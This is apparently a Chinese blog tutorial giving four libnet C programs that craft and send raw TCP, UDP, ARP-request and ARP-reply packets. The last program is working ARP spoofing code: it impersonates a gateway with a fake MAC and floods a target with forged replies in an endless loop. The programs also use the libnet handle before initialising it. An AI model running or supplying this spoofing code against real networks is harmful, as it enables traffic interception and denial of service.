Chinaunix首页 | 论坛 | 博客

Keepfvcking!zooyo.blog.chinaunix.net

首页　| 　博文目录　| 　关于我

zooyo

  • 博客访问： 3031897
  • 博文数量： 272
  • 博客积分： 5544
  • 博客等级： 大校
  • 技术积分： 5496
  • 用 户 组： 普通用户
  • 注册时间： 2011-03-08 00:48
个人简介

　　每个人都要有一个骨灰级的爱好，不为金钱，而纯粹是为了在这个领域享受追寻真理的快乐。

文章分类

全部博文（272）

文章存档

2015年（2）

2014年（5）

2013年（25）

2012年（58）

2011年（182）

我的朋友
最近访客
推荐博文
相关博文
libnet发包例子(tcp udp arp广播)

分类： LINUX

2012-06-15 22:40:29

TCP:
  1. #include <libnet.h>

  3. int main() {
  4.     libnet_t *handle; /* Libnet句柄 */
  5.     int packet_size; /* 构造的数据包大小 */
  6.     char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  8.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  9.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  10.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  11.     u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  13.     libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
  14.     u_short proto = IPPROTO_TCP; /* 传输层协议 */
  15.     u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  16.     u_long payload_s = 0; /* 承载数据的长度，初值为0 */

  18.     /* 把目的IP地址字符串转化成网络序 */
  19.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  20.     /* 把源IP地址字符串转化成网络序 */
  21.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  23.     /* 初始化Libnet */
  24.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  25.         printf("libnet_init failure\n");
  26.         return (-1);
  27.     };

  29.     strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  30.     payload_s = strlen(payload); /* 计算负载内容的长度 */

  32. #if 0
  33.     /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
  34.     tcp_op_tag = libnet_build_tcp_options(
  35.                 payload,
  36.                 payload_s,
  37.                 handle,
  38.                 0
  39.     );
  40.     if (tcp_op_tag == -1) {
  41.         printf("build_tcp_options failure\n");
  42.         return (-2);
  43.     };
  44. #endif

  46.     tcp_tag = libnet_build_tcp(
  47.                 30330,                    /* 源端口 */
  48.                 30331,                    /* 目的端口 */
  49.                 8888,                    /* 序列号 */
  50.                 8889,                    /* 确认号 */
  51.                 TH_PUSH | TH_ACK,        /* Control flags */
  52.                 14600,                    /* 窗口尺寸 */
  53.                 0,                        /* 校验和,0为自动计算 */
  54.                 0,                        /* 紧急指针 */
  55.                 LIBNET_TCP_H + payload_s, /* 长度 */
  56.                 payload,                    /* 负载内容 */
  57.                 payload_s,                /* 负载内容长度 */
  58.                 handle,                    /* libnet句柄 */
  59.                 0                        /* 新建包 */
  60.     );
  61.     if (tcp_tag == -1) {
  62.         printf("libnet_build_tcp failure\n");
  63.         return (-3);
  64.     };

  66.     /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  67.     ip_tag = libnet_build_ipv4(
  68.         LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
  69.         0, /* tos */
  70.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  71.         0, /* frag 片偏移 */
  72.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  73.         proto, /* 上层协议 */
  74.         0, /* 校验和，此时为0，表示由Libnet自动计算 */
  75.         src_ip, /* 源IP地址,网络序 */
  76.         dst_ip, /* 目标IP地址,网络序 */
  77.         NULL, /* 负载内容或为NULL */
  78.         0, /* 负载内容的大小*/
  79.         handle, /* Libnet句柄 */
  80.         0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  81.     );
  82.     if (ip_tag == -1) {
  83.         printf("libnet_build_ipv4 failure\n");
  84.         return (-4);
  85.     };

  87.     /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  88.     eth_tag = libnet_build_ethernet(
  89.         dst_mac, /* 以太网目的地址 */
  90.         src_mac, /* 以太网源地址 */
  91.         ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  92.         NULL, /* 负载，这里为空 */
  93.         0, /* 负载大小 */
  94.         handle, /* Libnet句柄 */
  95.         0 /* 协议块标记，0表示构造一个新的 */
  96.     );
  97.     if (eth_tag == -1) {
  98.         printf("libnet_build_ethernet failure\n");
  99.         return (-5);
  100.     };

  102.     packet_size = libnet_write(handle); /* 发送已经构造的数据包*/

  104.     libnet_destroy(handle); /* 释放句柄 */

  106.     return (0);
  107. }

UDP:
  1. #include <libnet.h>

  3. int main() {
  4.     libnet_t *handle; /* Libnet句柄 */
  5.     int packet_size; /* 构造的数据包大小 */
  6.     char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  8.     char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  9.     u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  10.     u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  11.     u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  13.     libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
  14.     u_short proto = IPPROTO_UDP; /* 传输层协议 */
  15.     u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  16.     u_long payload_s = 0; /* 承载数据的长度，初值为0 */

  18.     /* 把目的IP地址字符串转化成网络序 */
  19.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  20.     /* 把源IP地址字符串转化成网络序 */
  21.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  23.     /* 初始化Libnet */
  24.     if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  25.         printf("libnet_init failure\n");
  26.         return (-1);
  27.     };

  29.     strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  30.     payload_s = strlen(payload); /* 计算负载内容的长度 */

  32.     udp_tag = libnet_build_udp(
  33.                 30330, /* 源端口 */
  34.                 30331, /* 目的端口 */
  35.                 LIBNET_UDP_H + payload_s, /* 长度 */
  36.                 0, /* 校验和,0为libnet自动计算 */
  37.                 payload, /* 负载内容 */
  38.                 payload_s, /* 负载内容长度 */
  39.                 handle, /* libnet句柄 */
  40.                 0 /* 新建包 */
  41.     );
  42.     if (udp_tag == -1) {
  43.         printf("libnet_build_tcp failure\n");
  44.         return (-3);
  45.     };

  47.     /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  48.     ip_tag = libnet_build_ipv4(
  49.         LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
  50.         0, /* tos */
  51.         (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  52.         0, /* frag 片偏移 */
  53.         (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  54.         proto, /* 上层协议 */
  55.         0, /* 校验和，此时为0，表示由Libnet自动计算 */
  56.         src_ip, /* 源IP地址,网络序 */
  57.         dst_ip, /* 目标IP地址,网络序 */
  58.         NULL, /* 负载内容或为NULL */
  59.         0, /* 负载内容的大小*/
  60.         handle, /* Libnet句柄 */
  61.         0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  62.     );
  63.     if (ip_tag == -1) {
  64.         printf("libnet_build_ipv4 failure\n");
  65.         return (-4);
  66.     };

  68.     /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  69.     eth_tag = libnet_build_ethernet(
  70.         dst_mac, /* 以太网目的地址 */
  71.         src_mac, /* 以太网源地址 */
  72.         ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  73.         NULL, /* 负载，这里为空 */
  74.         0, /* 负载大小 */
  75.         handle, /* Libnet句柄 */
  76.         0 /* 协议块标记，0表示构造一个新的 */
  77.     );
  78.     if (eth_tag == -1) {
  79.         printf("libnet_build_ethernet failure\n");
  80.         return (-5);
  81.     };

  83.     packet_size = libnet_write(handle); /* 发送已经构造的数据包*/

  85.     libnet_destroy(handle); /* 释放句柄 */

  87.     return (0);
  88. }


ARP广播包:
  1. #include <libnet.h>

  3. int main() {
  4.     libnet_t *handle;        /* Libnet句柄 */
  5.     int packet_size;
  6.     char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  8.     u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  9.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  10.     u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  11.     /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  12.     u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  13.     u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  14.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  15.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  17.     /* 把目的IP地址字符串转化成网络序 */
  18.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  19.     /* 把源IP地址字符串转化成网络序 */
  20.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  22.     if ( dst_ip == -1 || src_ip == -1 ) {
  23.         printf("ip address convert error\n");
  24.         exit(-1);
  25.     };
  26.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  27.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  28.         printf("libnet_init: error [%s]\n", error);
  29.         exit(-2);
  30.     };

  32.     /* 构造arp协议块 */
  33.     arp_proto_tag = libnet_build_arp(
  34.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  35.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  36.                 6,                   /* 硬件地址长度 */
  37.                 4,                   /* IP地址长度 */
  38.                 ARPOP_REQUEST,       /* 操作方式:ARP请求 */
  39.                 src_mac,             /* source MAC addr */
  40.                 (u_int8_t *)&src_ip, /* src proto addr */
  41.                 rev_mac,             /* dst MAC addr */
  42.                 (u_int8_t *)&dst_ip, /* dst IP addr */
  43.                 NULL,                /* no payload */
  44.                 0,                   /* payload length */
  45.                 handle,              /* libnet tag */
  46.                 0                    /* Create new one */
  47.     );
  48.     if (arp_proto_tag == -1)    {
  49.         printf("build IP failure\n");
  50.         exit(-3);
  51.     };

  53.     /* 构造一个以太网协议块
  54.     You should only use this function when
  55.     libnet is initialized with the LIBNET_LINK interface.*/
  56.     eth_proto_tag = libnet_build_ethernet(
  57.         dst_mac,         /* 以太网目的地址 */
  58.         src_mac,         /* 以太网源地址 */
  59.         ETHERTYPE_ARP,   /* 以太网上层协议类型，此时为ARP请求 */
  60.         NULL,            /* 负载，这里为空 */
  61.         0,               /* 负载大小 */
  62.         handle,          /* Libnet句柄 */
  63.         0                /* 协议块标记，0表示构造一个新的 */
  64.     );
  65.     if (eth_proto_tag == -1) {
  66.         printf("build eth_header failure\n");
  67.         return (-4);
  68.     };

  70.     packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/

  72.     libnet_destroy(handle);                /* 释放句柄 */

  74.     return (0);
  75. }

arp应答包(arp欺骗)
  1. #include <libnet.h>

  3. int main() {
  4.     libnet_t *handle;        /* Libnet句柄 */
  5.     int packet_size;
  6.     char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  7.     u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  8.     u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  9.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  10.     u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  11.     u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  12.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  13.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  15.     /* 把目的IP地址字符串转化成网络序 */
  16.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17.     /* 把源IP地址字符串转化成网络序 */
  18.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  20.     if ( dst_ip == -1 || src_ip == -1 ) {
  21.         printf("ip address convert error\n");
  22.         exit(-1);
  23.     };
  24.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  25.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  26.         printf("libnet_init: error [%s]\n", error);
  27.         exit(-2);
  28.     };

  30.     /* 构造arp协议块 */
  31.     arp_proto_tag = libnet_build_arp(
  32.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  33.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  34.                 6,                    /* 硬件地址长度 */
  35.                 4,                    /* IP地址长度 */
  36.                 ARPOP_REPLY,        /* 操作方式:ARP请求 */
  37.                 src_mac,                /* source MAC addr */
  38.                 (u_int8_t *)&src_ip,    /* src proto addr */
  39.                 dst_mac,                /* dst MAC addr */
  40.                 (u_int8_t *)&dst_ip,    /* dst IP addr */
  41.                 NULL,                /* no payload */
  42.                 0,                    /* payload length */
  43.                 handle,                /* libnet tag */
  44.                 0                    /* Create new one */
  45.     );
  46.     if (arp_proto_tag == -1)    {
  47.         printf("build IP failure\n");
  48.         exit(-3);
  49.     };

  51.     /* 构造一个以太网协议块
  52.     You should only use this function when
  53.     libnet is initialized with the LIBNET_LINK interface.*/
  54.     eth_proto_tag = libnet_build_ethernet(
  55.         dst_mac,            /* 以太网目的地址 */
  56.         src_mac,            /* 以太网源地址 */
  57.         ETHERTYPE_ARP,    /* 以太网上层协议类型，此时为ARP请求 */
  58.         NULL,            /* 负载，这里为空 */
  59.         0,                /* 负载大小 */
  60.         handle,            /* Libnet句柄 */
  61.         0                /* 协议块标记，0表示构造一个新的 */
  62.     );
  63.     if (eth_proto_tag == -1)    {
  64.         printf("build eth_header failure\n");
  65.         return (-4);
  66.     };

  68.     while(1) {
  69.         packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  70.         usleep(1000);
  71.     };

  73.     libnet_destroy(handle);                /* 释放句柄 */

  75.     return (0);
  76. }

阅读(11326) | 评论(2) | 转发(5) |
1

上一篇：paste和xargs的小技巧

下一篇：linux下 取得本机ip、掩码、网关

给主人留下些什么吧！~~

月光xia漫步2014-10-22 17:29:38

非常不错的三个例子，很值得收藏，谢谢~~

回复 | 举报

qq3814440782014-05-19 12:51:46

TCP代码中：执行    strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */时，提示数据类型转换失败。    arp_proto_tag = libnet_build_tcp这句是同样问题。


/home/viki/libnet_client-build-desktop-Qt_4_8_1___PATH________/../libnet_client/mainwindow.cpp:48: 错误:invalid conversion from 'u_int8_t* {aka unsigned char*}' to 'char*' [-fpermissive]

回复 | 举报
关于我们 | 关于IT168 | 联系方式 | 广告合作 | 法律声明 | 免费注册

Copyright 2001-2010 ChinaUnix.net All Rights Reserved 北京皓辰网域网络信息技术有限公司. 版权所有

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6